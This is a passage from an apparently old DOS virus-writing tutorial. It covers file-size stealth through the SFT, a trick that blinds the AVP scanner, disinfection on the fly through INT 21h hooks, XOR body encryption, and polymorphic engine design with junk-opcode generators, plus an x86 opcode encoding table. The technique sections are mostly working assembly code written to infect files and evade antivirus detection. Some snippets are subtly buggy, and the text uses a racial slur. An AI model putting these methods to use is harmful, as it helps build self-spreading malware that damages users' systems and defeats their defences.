the function AX=5700h, and for put new values the AX=5701h. In CX goes time,
and in DX, date ( the ones we must intercept for make the stealth )
% SFT stealth %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
If you remember the preety structure called SFT, at offset 11 we had a dword
that shows the file size. All we need is to see if the file was already inf-
ected, and if it was, substract to the file size the virus size. Let's see
a little piece of code ( assuming the infection mark is seconds = 60 and we
have called to a routine that gave us the SFT in ES:DI ):
Infect:
[...]
mov ax,word ptr es:[di+0Dh] ; Get time
and al,01Fh ; Unmask seconds
cmp al,01Eh ; Seconds = 60 ?
jnz AintInfected ; No, infect it
sub word ptr es:[di+11h],virus_size ; Yes, substract virus size
sbb word ptr es:[di+13h],0000h
[...]
AintInfected:
[...]
There is a good thing you can do for avoid the AVP 3.0 scanning. First, we
must know if AVP is here. When AVP 3.0 opens a file, there're some values
that let us know it is fucking around ( BX=5, SI=402Dh ). It's time to get
SFT, and then make all file zero-size for Kaspersky's son, with two only
code lines:
mov word ptr es:[di+11h],0000h
mov word ptr es:[di+13h],0000h
or only one if we can :)
mov dword ptr es:[di+11],00000000h
% Disinfection on the fly %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Here again, i can't give you some code. It must be custom made... Well, i
can give you the INT 21h lines, but nothing else:
[...]
cmp ah,03Dh ; Open file
jz Disinfect
cmp ax,6C00h ; Extended open
jz Disinfect
cmp ah,03Eh ; Close file ( infect now!!! )
jz Infect
[...]
Now we must note one thing... we must fix some things for make da same rout-
ine for AH=3Dh and AX=6C00h.
1. The file name is in DS:DX in AH=3Dh, and in DS:SI in AX=6C00h
2. The open mode is in AL in AH=3Dh, and in BL in AX=6C00h
So we need to make a routine for fix the access with the 6C00h function. It
probably will look like this:
Disinfect:
cmp ax,6C00h
jne Check
cmp dx,1
jne ExitDisinfection
mov al,bl ; Open mode in AL
mov dx,si ; File name is now in DS:DX
Check:
mov ax,5700h
int 21h ; If we've hooked this function,
; we need to make a fake call! ( or
; use SFTs! )
and cl,1Fh ; Unmask seconds
or cl,1Eh ; Is it 60?
jnz NotInfected
[...]
The disinfection way is a routine that you must to do. It can't be as gene-
ral as FCB stealth, because you can choose between a lot of things. Ok, i'm
gonna explain at least how it works.
þ Disinfection of COM files:
The disinfection of COM files is very easy. We need to restore the first
bytes we've changed on infection by the original ones ( ussually 3 bytes ),
restore the original time/date of the file, and remove the virus body ( trun
cating the file at offset "end of file - virus size" ).
þ Disinfection of EXE files:
This is a little bit more hard to do, but not to understand :)
We need to restore the original header of the file, restore the time/date
and remove the virus body at the end of the file. But the problem comes when
our virus is encrypted. You have to choose between leave this bytes unencry-
pted ( giving to the AVs the way to disinfect our virus <g> ) or decrypt
this bytes. Anyway, it's very simple.
% Last words about stealth %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
There're more stealth methods, like 4202 stealth, sector stealth... but i've
explained da most simple and used ones. And, BTW, we don't need 4202 stealth
if we use SFT stealth :)
Probably the worst thing in some kinds of stealth is the uncompatibilities
with some software, that can fuck our need to be hidden.
After reading this, you would wonder why "Is stealth useful ?". The answer
is a great YES. This is one of the best methods for conceal the possible
infection to the user: the files seem to have the same size than before the
infection, when an AV is executed and we have a disinfection routine, this
AV won't detect anything ( the same for those niggas that waste their time
using an HEX editor in order to see if something's wrong ), and a lot of
more things. The best you can do is deactivate stealth when a program like
CHKDSK, or PKZIP. All this in yer hands...
ÄÄÄ´ Encryption ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Encryption techniques are really old, but they're still effective, and very
used. Problably is one of da things that survived many years in concept, but
with continuous improvements like polymorphism, metamorphism, and such like.
Our target is to hide all our text strings, suspicious opcodes, and all our
stuff of the user eyes. We can do it with a simple math operation, applied
to all bytes of our virus body. For example, we can increase by one all the
bytes of our virus, and we can see that there isn't a readable text string
or something in our virus :)
The structure of an encrypted virus is like this:
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ It's very simple. There's
Úij Call to decryptor ³ a call to the decryptor,
³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ÄÄÄ¿ when the decryptor ends
³ ³ ³ ³ its job, it gives the
³ ³ ³ ³ control to the virus, and
³ ³ Infected file ³ ³ when the virus ends its
³ ³ ³ ³ execution, the control is
³ ³ ³ ³ returned to the original
³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´Ä¿ ³ program.
³ ³ ³ ³ ³
³ ³ Virus body ³ ³ ³
³ ³ ³ ³ ³
ÀÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´ÄÄÄÄÙ
³ Decryptor ³ ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙÄÄÙ
There is a math operation that gives us one advantage. We can use the same
procedure to encrypt and decrypt our code. Of course we're talking about
XOR, the most used instruction for decryptors. There're two more instructi-
ons that can be used for our purposes of using the same procedure for en-
crypt and decrypt: NOT and NEG. The most used of this two is the first one.
Of course, we can use a lot of more instructions for encryption. I'll show
you a little list of instuctions we can use:
INC/DEC, ADD/SUB, ROL/ROR, XOR, NOT, MUL/DIV, ADC/SBB, etc...
The simplest way for encrypt our virus is to use a routine like this:
encryption:
mov cx,encrypt_size ; encrypt_end-encrypt_start
mov di,[bp+encrypt_begin] ; From where
mov si,di ; For lodsb/stosb
mov ah,key ; Value for XOR. Subst key with whate
; ver you want
encryption_loop:
lodsb ; Move a byte from DS:SI to AL
xor al,ah
stosb ; Move a byte from AL to ES:DI
loop encryption_loop
ret
This procedure is really poor. It only have 255 posibilities because we're
working with a 8-byte register as key ( AH ).
Of course this is the simplest way. We must take note of some things:
- If we use a routine like this, and we haven't a second copy of our virus
in memory ( i will talk about it in this same article ), when using this
routine we must left unencrypted the procedure that copies ( and call to
encrypt procedure too ) virus to the victim.
- We must take care of the virus state in its first generation: it's unenc-
rypted. Using xor, we can use the value of 00 to make this, in the first
generation, and make a procedure that changes this value in the code, or si-
mply avoid the execution of the encryption routine in the first generation.
Now, we'll see how is the above encryption procedure when using a 16-byte
encryption as the key:
encryption:
mov cx,(encrypt_size+1)/2 ; encrypt_end-encrypt_start/2
mov di,[bp+encrypt_begin] ; From where
mov si,di ; For lodsw/stosw
mov dx,key ; Value for XOR. Subst key with whate
; ver you want
encryption_loop:
lodsw ; Move a word from DS:SI to AX
xor ax,dx
stosw ; Move a word from AX to ES:DI
loop encryption_loop
ret
The problem is: if we left the copy and encryption procedures unencrypted...
what will AV do? They have in our hard worked virus ( yes, yes, the same in
what we spend a lot of weeks of work trying to make it anti-heuristic,
stealth, with a lot of cool tricks, a new and wonderful stuff...) a scan
string enough big for add it to their AV. In 5 minutes they implemented in
their AV the way for detect our virus. Argh! A VXer spends days in create a
decent virus, and because he used a simple encryptor like this, in 5 minutes
our enemies have the way for detect us! This world is really a shit! :(
But, the VXers never surrender, so... We need to make the decryptor as small
as possible. Ain't enough. In the next chapter you'll have the best possible
answer :)
How we can have a second copy of our virus in memory? It's very simple.
After the label that marks the last byte that the virus will copy, we can
have something like this:
virus_end label byte ; The label that marks end of virus
enc_buffer db (offset virus_end-offset virus_start) dup (090h)
The enc_buffer variable will only have code in the first generation. When we
spread the virus, this variable won't be copied within it. But we can use
its offset for have a second copy of our virus there. What we can do is...
- When we copy our virus to memory ( in a TSR one ), we make this another
time, and when we're putting in the code the EXE header, or the first bytes
of the COM, we put them in the same offset where this variables will go
shifted by virus size. Ok, i'll explain it better. Imagine we have something
like:
mov ah,3Fh
mov cx,4
lea dx,old3bytes
int 21h
Ok. Then, if we have the second copy of the virus in memory, we must subst
the third line for something like:
lea dx,virus_size+old3bytes
The best way is to experiment with it...
- Or we can copy the virus body just before the appending: we have all the
variables set. The movement will be like this:
mov cx,virus_size
xor si,si
mov di,offset virus_begin
rep movsb
We encrypt it, append this second copy and... that's all folks!
ÄÄÄ´ Polymorphism ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
This is one of the most interesting things in a virus. It's also very funny
to code a PER ( Polymorphic Encryption Routine ), and it shows clearly how
is the " style " of the VXer that coded it. It's also the thing that all
beginners think that is very hard to do, and only the experimented VXers can
do it. DON'T THINK IT! It's very simple. Don't be afraid. If you've arrived
till here alive, i'm sure you'll understand ALL. This chapter is an extensi-
on of the ENCRYPTION chapter.
Our objective doing a PER is the neverending one in the VX world : defeat
AVs by minimizing the scan string of our viruses, aka FUCK'EM ALL! :)
The concept is to generate different decryptors for each infection, so the
AVs will suck in order to detect our virus. And this technique, with STEALTH
ARMOURING, ANTI-HEURISTICS and ANTI-BAITS can make yer viruses very powerful
Ok, let's begin with the interesting stuff.
% History %
ÄÄÄÄÄÄÄÄÄÄÄ
Da first attempts to make a PER were made by a bulgarian coder, probably one
of the bests virus creators ever, called Dark Avenger. His viruses were, are
and will be a touch stone for all VXers. From his first viruses, like Eddie,
he showed a great quality for coding. But the best stuff came with the
release of the MtE ( Mutation Engine ), the first good PER in the VX history
All AV researchers went mad in order to find a scan string for the viruses
based in this engine. After a lot of hard word ( ??? ) in the AV side they
found a reliable scan string for catch MtE. But it was just the beginning.
Masud Khafir, member of the TridenT virus research group, developed TPE,
Dark Angel of Phalcon Skism developed DAME ( Dark Angel Multiple Encryptor )
and many other virus researchers made other cool engines. When we're talking
about the polymorphic engines, we must think that this technique was made in
1992, a long time ago. The had only to fight againist scan strings, and this
today, is very easy.
But nowadays, the polymorphic engines have a lot of enemies: code analizers,
emulators, tracers, heuristics, and experienced AVs figthing againist us.
Firstly, VXers thought that da best option for our decryptors was to make it
as variable as they can. But the time have demonstrated that it was a wrong
idea: AVers will infect THOUSAND of baits, in order to see all possible de-
cryptors the PER can generate. If we show them a very little portion of our
possible decryptors ( by using date for generate random, for example ) we're
fucking their needs. They have a scan string, but in another computer, in
another situation, this scan string won't work. This is called SLOW poly.
We'll see this in another place at this same chapter.
% Introduction %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
A polymorphic engine is da most personal thing a coder can do. At this point
i must say to you that use the polymorphy of another coder isn't as good
idea as it appear to be. It's very easy to code a decent PER, but if you use
one of another coder, you'll be limited when coding your virus.
We need to generate a decryptor, also placing junk among the real decryption
opcodes, with fake jumps, calls, antidebugging, and all we want to... Let's
see what we must put for make our PER decent...
- Generate many ways to reach the same point
- Changing the order of the opcodes that we can.
- Can be used in another viruses
- Can generate calls to do nothing INT 21h functions
- Can generate calls to do nothing interrupts
- If we want, we can make it slow poly
- Minimize all possible scan strings
- Protect the instruction generator with armour, and make it very hard to
disassemble.
When you're doing a PER, the imagination is a very good weapon. Use it for
generate as many original things as you can.
% The first steps in polymorphism %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
The easiest way to make a decryptor that changes every virus generation is
create a junk generator, and then put some decryptor instructions followed
by do-nothing instructions. This is the first attempt you can do if you
haven't created an engine. The first kind of junk are the one byters, those
simple instructions that generally we use. We must choose before do nothing,
all the junk registers. I ussually use AX, BX and DX.
Let's see a little table of one byters:
OneByteTable:
db 09Eh ; sahf
db 090h ; nop
db 0F8h ; clc
db 0F9h ; stc
db 0F5h ; cmc
db 09Fh ; lahf
db 0CCh ; int 3h
db 048h ; dec ax
db 04Bh ; dec bx
db 04Ah ; dec dx
db 040h ; inc ax
db 043h ; inc bx
db 042h ; inc dx
db 098h ; cbw
db 099h ; cwd
EndOneByteTable:
With a simple routine that places real intructions, and other that places
junk, we have a very simple polymorphic engine. It's useful for our first
steps, but if you're coding a good virus, u must know one thing... if there
are a lot of do-nothing instructions like this, be sure AV will show a flag.
Erhm... how we can get one of this instructions? Preety simple:
GenerateOneByteJunk:
lea si,OneByteTable ; Offset of the table
call random ; Must generate random numbers
and ax,014h ; AX must be within 0 and 14 ( 15 )
add si,ax ; Add AX ( AL ) to the offset
mov al,[si] ; Put selected opcode in al
stosb ; And store it in ES:DI ( points to
; the decryptor instructions )
ret
And, of course, we need a random number generator. Here you have da simplest
one:
Random:
in ax,40h ; This will generate a random number
in al,40h ; in AX
ret
With da above routines, that we can do is a very bad engine. Our targets are
anothers, so pay attention to the next parts of this chapter.
% Some ways to make a simple operation %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
There are nearly infinite ( not at all... just milions of possibilities ) :)
ways to perform a simple instuction task. Let's imagine a " mov dx,1234h ",
without using another register:
mov dx,1234h
push 1234h
pop dx
mov dx,1234h xor 5678h
xor dx,5678h
mov dh,12h
mov dl,34h
xor dx,dx
or dx,1234h
mov dx,not 1234h
not dx
[...]
And we can do more and more combinations. And of course, if we use another
register for perform our task, the possibilities increases a lot.
% Changing instruction order %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
There are a lot of instructions that we can code in the order we want. And
this, combinated with the ways to perform a simple instructions, can make
our polymorphic engine really powerful.
Ussually, about all da instructions before the decryption loop can be placed
in any order, except all the PUSH/POP combinations, and the related stuff.
We are talking about this instuctions that don't depend of another for make
its job.
Let's see an example:
mov cx,encrypt_size
mov si,encrypt_begin
mov di,encrypt_key
We can put this instructions in the order we want, a random order :)
It will do the same stuff if it looks like:
mov di,encrypt_key
mov cx,encrypt_size
mov si,encrypt_begin
And in this way, all the possible combinations.
% Portability %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
It's quite easy to do a portable polymorphic engine. All we must do is to
make our PER use parameters. For example, we can use CX for handle the size
to encrypt, DS:DX point to da code to encrypt, and else. So, in this way, we
can use our engine in the virus we want.
% Tables againist Blocks %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
þ Table based PER:
The spirit of this kinda engine types it to have all the offsets of the rou-
thines that generate junk ( one byters, fake int calls, math ops... ) in
another table. Then, with a random value, we call to one of this offsets,
and generate a random junk. Let's see an example:
RandomJunk:
call Random ; Random number in AX
and ax,(EndRandomJunkTable-RandomJunkTable)/2
add ax,ax ; AX*2
xchg si,ax
add si,offset RandomJunkTable ; Point to table
lodsw
call ax ; Call to random table offset
ret
RandomJunkTable:
dw offset GenerateOneByteJunk
dw offset GenerateMovRegImm
dw offset GenerateMovRegMem
dw offset GenerateMathOp
dw offset GenerateArmour
dw offset GenerateCalls
dw offset GenerateJumps
dw offset GenerateINTs
[...]
EndRandomJunkTable:
It's very easy to add new routines to a table based PER, and this kinda
engines can be very optimized ( depending of coder ).
þ Block based PER:
Our objective is to make, for each instruction of the decryptor, some blocks
of a fixed size. We've one example of this kinda engine in the Elvira virus,
by Spanska, published in 29A#2. Let's see an example of one of the blocks
in the Elvira engine, the one used for compare CX with 0. Each block has
a defined size ( 6 bytes ).
cmp cx, 0
nop
nop
nop
nop
nop
nop
cmp cx, 0
nop
or cx, cx
nop
nop
nop
nop
nop
nop
or cx, cx
nop
test cx, 0FFFFh
nop
nop
or cl, cl
jne suite_or
or ch, ch
suite_or:
mov bx, cx
inc bx
cmp bx, 1
inc cx
cmp cx, 1
dec cx
nop
dec cx
cmp cx, 0FFFFh
inc cx
nop
Ass you can see, it's more easy to add new blocks to do the same task. But
this kinda engines have one weak point: the size. The Elvira's engine sucks
about the half size of the virus: 4250 bytes is the virus size, engine sucks
2000-2500 bytes of da virus. The good thing is that with adding more blocks,
we can create new strains for the virus, and make it still undetectable by
AVers :)
þ And the winner is....
I think tables are the solution, because we can generate all the possible
combinations of blocks, and more. The blocks are the solution for all da ppl
that don't want to make their lifes a living hell :)
% Instructions %
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
Here is the base of all polymorphic engines, da way to generate instructions
with random registers, values, memory positions...
þ Notations:
SymbolÜ ExplanationÜ
ßßßßßß ßßßßßßßßßßß
imm8 byte immediate operand
imm16 word immediate operand
reg8 byte register operand
reg16 word register operand
mem8 byte memory operand
mem16 word memory operand
regmem8 byte reg/mem operand
regmem16 word reg/mem operand
d8 byte memory offset displacement
d16 word memory offset displacement
sig8 byte signed operand
sig16 word signed operand
sig32 offset:segment operand
^0,^1, etc Reg field of the RegInfo byte contains this num as Op. info
RegInfoByte needs the below fields
reg a code that keeps the register to be used
sreg a code that keeps the segment register
r/m how is the instruction made ( based, indexed, two regs... )
mod who makes the indexing ( DI, BP... )
dir the direction
w word mark
OpCode skeletonÜ
ßßßßßßßßßßßßßßß
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ 8 bits 2 3 3 8 or 16 bits 8 or 16 bits ³
³ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍ» ÉÍÍÍÍÍÑÍÍÍÍÍÑÍÍÍÍÍ» ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ³
³ º Instruction º º MOD ³ REG ³ R/M º º Displacement º º Data º ³
³ ÈÍÍÍÍÍÍÍÍÍÍÍÍͼ ÈÍÍÍÍÍÏÍÍÍÍÍÏÍÍÍÍͼ ÈÍÍÍÍÍÍÍÍÍÍÍÍÍͼ ÈÍÍÍÍÍÍÍÍÍÍÍÍÍͼ ³
³ 1 byte 1 byte 1 or 2 bytes 1 or 2 bytes ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Reg fieldÜ
ßßßßßßßßß
Reg value 00 01 02 03 04 05 06 07
Byte registers AL CL DL BL AH CH DH BH
Word registers AX CX DX BX SP BP SI DI
Extended regs EAX ECX EDX EBX ESP EBP ESI EDI
How we can know if the register is byte or word? Easy, with the w byte. If
it's set to 1 it's a word, and if it's 0, we're talking about a byte reg.
Sreg fieldÜ
ßßßßßßßßßß
Sreg value 01 03 05 07
Segment ES CS SS DS
R/M field and Mod fieldÜ
ßßßßßßßßßßßßßßßßßßßßßßß
R/M value 00 Mod
000 [BX+SI]
001 [BX+DI]
010 [BP+SI]
011 [BP+DI]
100 [SI]
101 [DI]
110 d16
111 [BX]
R/M value 01 Mod
000 [BX+SI+d8]
001 [BX+DI+d8]
010 [BP+SI+d8]
011 [BP+DI+d8]
100 [SI+d8]
101 [DI+d8]
110 [BP+d8]
111 [BX+d8]
R/M value 10 Mod
000 [BX+SI+d16]
001 [BX+DI+d16]
010 [BP+SI+d16]
011 [BP+DI+d16]
100 [SI+d16]
101 [DI+d16]
110 [BP+d16]
111 [BX+d16]
R/M value 11 Mod Byte Word
000 AL AX
001 CL CX
010 DL DX
011 BL BX
100 AH SP
101 CH BP
110 DH SI
111 BH DI
Direction fieldÜ
ßßßßßßßßßßßßßßß
If it's 0, the movement goes from reg to mod, and if it's 1, vice-versa, but
please note that TBSCAN will trigger a flag if a instruction goes with dir.
field at 0, coz this can never be generated by an assembler.
þ OpCodes:
ÚÄÄÄÄÄÄÄ¿
³ MOV ³
ÀÄÄÄÄÄÄÄÙ
This instruction is the most used so far in assembly. It's also the one that
has more ways to code. BEWARE! It has some optimized variants, as you can
see, for AL/AX. You must make da code for this registers just like an assem-
bler program does, if not, the heuristic analyzers will fuck yer code!
MOV reg8,imm8 B0+RegByte imm8
MOV reg16,imm16 B8+RegWord imm16
MOV AL,mem8 A0 mem8
MOV AX,mem16 A1 mem16
MOV mem8,AL A2 mem8
MOV mem16,AX A3 mem16
MOV reg8,regmem8 8A RegInfoByte
MOV reg16,regmem16 8B RegInfoByte
MOV regmem8,reg8 88 RegInfoByte
MOV regmem16,reg16 89 RegInfoByte
MOV regmem8,imm8 C6 ^0
MOV regmem16,imm16 C7 ^0
MOV reg16,segmentreg 8C RegInfoByte
MOV segmentreg,reg16 8E RegInfoByte
ÚÄÄÄÄÄÄÄÄ¿
³ XCHG ³
ÀÄÄÄÄÄÄÄÄÙ
As in MOV instruction, this OpCode is optimized for use AX.
XCHG AX,reg16 90+RegWord
XCHG reg8,regmem8 86 RegInfoByte
XCHG regmem8,reg8 86 RegInfoByte
XCHG reg16,regmem16 87 RegInfoByte
XCHG regmem16,reg16 87 RegInfoByte
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Segment Overrides ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
This aren't full instructions. They are prefixes, so this OpCodes must be
placed before the instruction.
SEGCS 2E
SEGDS 3E
SEGES 26
SEGSS 36
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Stack Operations ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
This instructions are used for get/put/manipulate values in/to/from stack.
PUSH reg16 50+RegWord
PUSH regmem16 FF ^6
PUSH imm8 6A imm8
PUSH imm16 68 imm16
PUSH CS 0E
PUSH DS 1E
PUSH ES 06
PUSH SS 16
PUSHA 60
PUSHF 9C
POP reg16 58+RegWord
POP regmem16 8F ^0 imm16
POP DS 1F
POP ES 07
POP SS 17
POPA 61
POPF 9D
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Flag Operations ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
All these instructions are one-byters, so, they're really good for garbage
generators, but caution with some instructions like STD and STI.
CLI FA
STI FB
CLD FC
STD FD
CLC F8
STC F9
CMC F5
SAHF 9E
LAHF 9F
Logical instructionsÜ
ßßßßßßßßßßßßßßßßßßßß
ÚÄÄÄÄÄÄÄ¿
³ XOR ³
ÀÄÄÄÄÄÄÄÙ
XOR AL,imm8 34 imm8
XOR AX,imm16 35 imm16
XOR reg8,regmem8 32 RegInfoByte
XOR reg16,regmem16 33 RegInfoByte
XOR regmem8,reg8 30 RegInfoByte
XOR regmem16,reg16 31 RegInfoByte
XOR regmem8,imm8 80 ^6 imm8
XOR regmem16,imm8 83 ^6 imm8
XOR regmem16,imm16 81 ^6 imm16
ÚÄÄÄÄÄÄ¿
³ OR ³
ÀÄÄÄÄÄÄÙ
OR AL,imm8 0C imm8
OR AX,imm16 0D imm16
OR reg8,regmem8 0A RegInfoByte
OR reg16,regmem16 0B RegInfoByte
OR regmem8,reg8 08 RegInfoByte
OR regmem16,reg16 09 RegInfoByte
OR regmem8,imm8 80 ^1 imm8
OR regmem16,imm8 83 ^1 imm8
OR regmem16,imm16 81 ^1 imm16
ÚÄÄÄÄÄÄÄ¿
³ AND ³
ÀÄÄÄÄÄÄÄÙ
AND AL,imm8 24 imm8
AND AX,imm16 25 imm16
AND reg8,regmem8 22 RegInfoByte
AND reg16,regmem16 23 RegInfoByte
AND regmem8,reg8 20 RegInfoByte
AND regmem16,reg16 21 RegInfoByte
AND regmem8,imm8 80 ^4 imm8
AND regmem16,imm8 83 ^4 imm8
AND regmem16,imm16 81 ^4 imm16
ÚÄÄÄÄÄÄÄ¿
³ NOT ³
ÀÄÄÄÄÄÄÄÙ
NOT regmem8 F6 ^2
NOT regmem16 F7 ^2
ÚÄÄÄÄÄÄÄ¿
³ NEG ³
ÀÄÄÄÄÄÄÄÙ
NEG regmem8 F6 ^3
NEG regmem16 F7 ^3
ÚÄÄÄÄÄÄÄÄ¿
³ TEST ³
ÀÄÄÄÄÄÄÄÄÙ
TEST AL,imm8 A8 imm8
TEST AL,imm16 A9 imm16
TEST regmem8,reg8 84 RegInfoByte
TEST regmem16,reg16 85 RegInfoByte
TEST regmem8,imm8 F6 ^0 imm8
TEST regmem16,imm16 F7 ^0 imm16
ÚÄÄÄÄÄÄÄ¿
³ CMP ³
ÀÄÄÄÄÄÄÄÙ
CMP AL,imm8 3C imm8
CMP AX,imm16 3D imm16
CMP reg8,regmem8 3A RegInfoByte
CMP reg16,regmem16 3B RegInfoByte
CMP regmem8,reg8 38 RegInfoByte
CMP regmem16,reg16 39 RegInfoByte
CMP regmem8,imm8 80 ^7 imm8
CMP regmem16,imm8 83 ^7 imm8
CMP regmem16,imm16 81 ^7 imm16
Arithmetic instructionsÜ
ßßßßßßßßßßßßßßßßßßßßßßß
ÚÄÄÄÄÄÄÄ¿
³ ADD ³
ÀÄÄÄÄÄÄÄÙ
ADD AL,imm8 04 imm8
ADD AX,imm16 05 imm16
ADD reg8,regmem8 02 RegInfoByte
ADD reg16,rm16 03 RegInfoByte
ADD regmem8,reg8 00 RegInfoByte
ADD regmem16,reg16 01 RegInfoByte
ADD regmem8,imm8 80 ^0 imm8
ADD regmem16,imm8 83 ^0 imm8
ADD regmem16,imm16 81 ^0 imm16
ÚÄÄÄÄÄÄÄ¿
³ SUB ³
ÀÄÄÄÄÄÄÄÙ
SUB AL,imm8 2C imm8
SUB AX,imm16 2D imm16
SUB reg8,regmem8 2A RegInfoByte
SUB reg16,regmem16 2B RegInfoByte
SUB regmem8,reg8 28 RegInfoByte
SUB regmem16,reg16 29 RegInfoByte
SUB regmem8,imm8 80 ^5 imm8
SUB regmem16,imm8 83 ^5 imm8
SUB regmem16,imm16 81 ^5 imm16
ÚÄÄÄÄÄÄÄ¿
³ ADC ³
ÀÄÄÄÄÄÄÄÙ
ADC AL,imm8 14 imm8
ADC AX,imm16 15 imm16
ADC reg8,regmem8 12 RegInfoByte
ADC reg16,regmem16 13 RegInfoByte
ADC regmem8,reg8 10 RegInfoByte
ADC regmem16,reg16 11 RegInfoByte
ADC regmem8,imm8 80 ^2 imm8
ADC regmem16,imm8 83 ^2 imm8
ADC regmem16,imm16 81 ^2 imm16
ÚÄÄÄÄÄÄÄ¿
³ SBB ³
ÀÄÄÄÄÄÄÄÙ
SBB AL,imm8 1C ib
SBB AX,imm16 1D iw
SBB reg8,regmem8 1A RegInfoByte
SBB reg16,regmem16 1B RegInfoByte
SBB regmem8,reg8 18 RegInfoByte
SBB regmem16,reg16 19 RegInfoByte
SBB regmem8,imm8 80 ^3 imm8
SBB regmem16,imm8 83 ^3 imm8
SBB regmem16,imm16 81 ^3 imm16
ÚÄÄÄÄÄÄÄ¿
³ INC ³
ÀÄÄÄÄÄÄÄÙ
INC reg16 40+RegWord
INC regmem8 FE ^0
INC regmem16 FF ^0
ÚÄÄÄÄÄÄÄ¿
³ DEC ³
ÀÄÄÄÄÄÄÄÙ
DEC reg16 48+RegWord
DEC regmem8 FE ^1
DEC regmem16 FF ^1
ÚÄÄÄÄÄÄÄ¿
³ MUL ³
ÀÄÄÄÄÄÄÄÙ
MUL regmem8 F6 ^4
MUL regmem16 F7 ^4
ÚÄÄÄÄÄÄÄ¿
³ DIV ³
ÀÄÄÄÄÄÄÄÙ
DIV regmem8 F6 ^6
DIV regmem16 F7 ^6
ÚÄÄÄÄÄÄÄÄ¿
³ IMUL ³
ÀÄÄÄÄÄÄÄÄÙ
IMUL regmem8 F6 ^5
IMUL regmem16 F7 ^5
IMUL reg16,regmem16,imm16 69 imm16
IMUL reg16,regmem16,imm8 6B imm8
ÚÄÄÄÄÄÄÄÄ¿
³ IDIV ³
ÀÄÄÄÄÄÄÄÄÙ
IDIV regmem8 F6 ^7
IDIV regmem16 F7 ^7
Shifting instructionsÜ
ßßßßßßßßßßßßßßßßßßßßß
ÚÄÄÄÄÄÄÄ¿
³ SHL ³
ÀÄÄÄÄÄÄÄÙ
SHL regmem8,1 D0 ^4
SHL regmem16,1 D1 ^4
SHL regmem8,CL D2 ^4
SHL regmem16,CL D3 ^4
SHL regmem8,imm8 C0 ^4 imm8
SHL regmem16,imm8 C1 ^4 imm8
ÚÄÄÄÄÄÄÄ¿
³ SHR ³
ÀÄÄÄÄÄÄÄÙ
SHR regmem8,1 D0 ^5
SHR regmem16,1 D1 ^5
SHR regmem8,CL D2 ^5
SHR regmem16,CL D3 ^5
SHR regmem8,imm8 C0 ^5 imm8
SHR regmem16,imm8 C1 ^5 imm8
ÚÄÄÄÄÄÄÄ¿
³ SAL ³
ÀÄÄÄÄÄÄÄÙ
SAL regmem8,1 D0 ^4
SAL regmem16,1 D1 ^4
SAL regmem8,CL D2 ^4
SAL regmem16,CL D3 ^4
SAL regmem8,imm8 C0 ^4 imm8
SAL regmem16,imm8 C1 ^4 imm8
ÚÄÄÄÄÄÄÄ¿
³ SAR ³
ÀÄÄÄÄÄÄÄÙ
SAR regmem8,1 D0 ^7
SAR regmem16,1 D1 ^7
SAR regmem8,CL D2 ^7
SAR regmem16,CL D3 ^7
SAR regmem8,imm8 C0 ^7 imm8
SAR regmem16,imm8 C1 ^7 imm8
ÚÄÄÄÄÄÄÄ¿
³ ROL ³
